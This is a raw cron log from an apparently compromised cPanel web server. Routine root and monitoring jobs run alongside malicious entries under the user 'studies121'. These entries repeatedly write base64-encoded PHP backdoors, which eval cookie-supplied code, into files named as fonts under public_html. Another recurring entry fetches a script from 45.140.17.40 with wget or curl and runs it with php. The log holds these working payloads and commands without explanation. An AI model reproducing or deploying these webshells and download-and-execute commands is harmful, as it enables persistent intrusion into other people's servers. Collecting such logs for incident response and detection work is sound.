Sep 20 09:15:01 ip-184-168-122-23 CROND[2289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:15:01 ip-184-168-122-23 CROND[2290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:15:01 ip-184-168-122-23 CROND[2291]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:16:01 ip-184-168-122-23 CROND[2640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:16:01 ip-184-168-122-23 CROND[2643]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 09:16:01 ip-184-168-122-23 CROND[2642]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:16:01 ip-184-168-122-23 CROND[2641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:16:01 ip-184-168-122-23 CROND[2644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:16:01 ip-184-168-122-23 CROND[2645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:17:01 ip-184-168-122-23 CROND[2900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:17:01 ip-184-168-122-23 CROND[2901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:17:01 ip-184-168-122-23 CROND[2902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:17:01 ip-184-168-122-23 CROND[2903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:18:01 ip-184-168-122-23 CROND[3141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:18:01 ip-184-168-122-23 CROND[3142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:18:01 ip-184-168-122-23 CROND[3143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:18:01 ip-184-168-122-23 CROND[3146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:18:01 ip-184-168-122-23 CROND[3148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:19:01 ip-184-168-122-23 CROND[3412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:19:01 ip-184-168-122-23 CROND[3416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:19:01 ip-184-168-122-23 CROND[3417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:19:01 ip-184-168-122-23 CROND[3415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:20:01 ip-184-168-122-23 CROND[3678]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 09:20:01 ip-184-168-122-23 CROND[3679]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 09:20:01 ip-184-168-122-23 CROND[3683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:20:01 ip-184-168-122-23 CROND[3686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:20:01 ip-184-168-122-23 CROND[3685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:20:01 ip-184-168-122-23 CROND[3687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:20:01 ip-184-168-122-23 CROND[3688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:20:01 ip-184-168-122-23 CROND[3684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:20:01 ip-184-168-122-23 CROND[3694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:21:01 ip-184-168-122-23 CROND[4017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:21:01 ip-184-168-122-23 CROND[4018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:21:01 ip-184-168-122-23 CROND[4019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:21:01 ip-184-168-122-23 CROND[4023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:22:01 ip-184-168-122-23 CROND[4288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:22:01 ip-184-168-122-23 CROND[4289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:22:01 ip-184-168-122-23 CROND[4290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:22:01 ip-184-168-122-23 CROND[4294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:22:01 ip-184-168-122-23 CROND[4295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:23:01 ip-184-168-122-23 CROND[4545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:23:01 ip-184-168-122-23 CROND[4546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:23:01 ip-184-168-122-23 CROND[4548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:23:01 ip-184-168-122-23 CROND[4552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:24:01 ip-184-168-122-23 CROND[4812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:24:01 ip-184-168-122-23 CROND[4814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:24:01 ip-184-168-122-23 CROND[4816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:24:01 ip-184-168-122-23 CROND[4818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:24:01 ip-184-168-122-23 CROND[4819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:25:01 ip-184-168-122-23 CROND[5059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:25:01 ip-184-168-122-23 CROND[5061]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 09:25:01 ip-184-168-122-23 CROND[5063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:25:01 ip-184-168-122-23 CROND[5062]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 09:25:01 ip-184-168-122-23 CROND[5064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:25:01 ip-184-168-122-23 CROND[5066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:26:01 ip-184-168-122-23 CROND[5388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:26:01 ip-184-168-122-23 CROND[5391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:26:01 ip-184-168-122-23 CROND[5390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 09:26:01 ip-184-168-122-23 CROND[5392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:26:01 ip-184-168-122-23 CROND[5393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:27:01 ip-184-168-122-23 CROND[5654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 09:27:01 ip-184-168-122-23 CROND[5656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 09:27:01 ip-184-168-122-23 CROND[5657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 09:27:01 ip-184-168-122-23 CROND[5658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:28:01 ip-184-168-122-23 CROND[5924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 09:28:01 ip-184-168-122-23 CROND[5926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
